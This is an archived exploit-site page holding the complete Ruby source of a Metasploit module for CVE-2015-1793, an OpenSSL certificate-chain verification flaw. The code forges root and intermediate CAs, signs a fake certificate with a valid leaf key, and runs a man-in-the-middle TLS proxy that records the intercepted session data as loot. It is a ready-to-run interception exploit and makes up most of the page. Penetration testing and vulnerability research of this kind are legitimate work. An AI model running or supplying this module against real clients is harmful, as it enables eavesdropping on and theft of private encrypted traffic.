Twenty Year Anniversary

OpenSSL Alternative Chains Certificate Forgery MITM Proxy

OpenSSL Alternative Chains Certificate Forgery MITM Proxy
Posted Jul 27, 2015
Authored by Ramon de C Valle, Adam Langley, David Benjamin | Site metasploit.com

This Metasploit module exploits a logic error in OpenSSL by impersonating the server and sending a specially-crafted chain of certificates, resulting in certain checks on untrusted certificates to be bypassed on the client, allowing it to use a valid leaf certificate as a CA certificate to sign a fake certificate. The SSL/TLS session is then proxied to the server allowing the session to continue normally and application data transmitted between the peers to be saved. The valid leaf certificate must not contain the keyUsage extension or it must have at least the keyCertSign bit set (see X509_check_issued function in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This Metasploit module requires an active man-in-the-middle attack.

tags | exploit, crypto
advisories | CVE-2015-1793
MD5 | 244abcb9001d9746e6846f9785dab572

OpenSSL Alternative Chains Certificate Forgery MITM Proxy

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'openssl'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',
'Description' => %q{
This module exploits a logic error in OpenSSL by impersonating the server
and sending a specially-crafted chain of certificates, resulting in
certain checks on untrusted certificates to be bypassed on the client,
allowing it to use a valid leaf certificate as a CA certificate to sign a
fake certificate. The SSL/TLS session is then proxied to the server
allowing the session to continue normally and application data transmitted
between the peers to be saved.

The valid leaf certificate must not contain the keyUsage extension or it
must have at least the keyCertSign bit set (see X509_check_issued function
in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with
X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an
active man-in-the-middle attack.
},
'Author' =>
[
'David Benjamin', # Vulnerability discovery
'Adam Langley', # Vulnerability discovery
'Ramon de C Valle' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'References' => [
['CVE', '2015-1793'],
['CWE', '754'],
['URL', 'http://www.openssl.org/news/secadv_20150709.txt'],
['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']
],
'DisclosureDate' => 'Jul 9 2015'
)

register_options(
[
OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),
OptString.new('CERT', [ true, 'The leaf certificate', nil]),
OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),
OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),
OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
OptString.new('HOST', [ true, 'The server address', nil]),
OptString.new('PORT', [ true, 'The server port', 443]),
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
OptString.new('SRVPORT', [ true, 'The proxy port', 443])
], self.class)
end

def cleanup
super
return unless @proxy

begin
@proxy.deref if @proxy.kind_of?(Rex::Service)
if @proxy.kind_of?(Rex::Socket)
@proxy.close
@proxy.stop
end
@proxy = nil
rescue ::Exception
end
end

def run
host = datastore['HOST']
port = datastore['PORT']
local_host = datastore['SRVHOST']
local_port = datastore['SRVPORT']

root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_key = OpenSSL::PKey::RSA.new(2048)
root_ca_cert = OpenSSL::X509::Certificate.new
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_cert.not_after = Time.now + 86400
root_ca_cert.not_before = Time.now
root_ca_cert.public_key = root_ca_key.public_key
root_ca_cert.serial = 0
root_ca_cert.subject = root_ca_name
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
inter_ca_cert.not_before = Time.now
inter_ca_cert.public_key = inter_ca_key.public_key
inter_ca_cert.serial = 0
inter_ca_cert.subject = inter_ca_name
inter_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))
subinter_ca_cert.issuer = inter_ca_name
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])
leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))

fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)

context = OpenSSL::SSL::SSLContext.new
context.cert = fake_cert
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
context.key = fake_key

@proxy = Rex::Socket::SslTcpServer.create(
'LocalHost' => local_host,
'LocalPort' => local_port,
'SSLContext' => context,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
})

print_status('Listening on %s:%d' % [local_host, local_port])

thread_num = 0

loop do
framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
add_socket(client)
application_data = ''
print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])

server = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'SSL' => true,
'SSLVerifyMode' => 'NONE',
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
})
add_socket(server)

print_status('Connected to %s:%d' % [host, port])

begin
loop do
readable, _, _ = IO.select([client, server])

readable.each do |r|
data = r.get_once
print_status('%d bytes received' % [data.bytesize])

application_data << data

case r
when client
count = server.put(data)
print_status('%d bytes sent' % [count])
when server
count = client.put(data)
print_status('%d bytes sent' % [count])
end
end
end

rescue EOFError, Errno::ECONNRESET
path = store_loot(
'tls.application_data',
'application/octet-stream',
client.peerhost,
application_data,
'application_data',
'TLS session application data'
)

print_good("SSL/TLS session application data successfully stored in #{path}")

client.close
server.close

next
end

client.close
server.close
end
end
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    7 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    40 Files
  • 23
    May 23rd
    64 Files
  • 24
    May 24th
    55 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close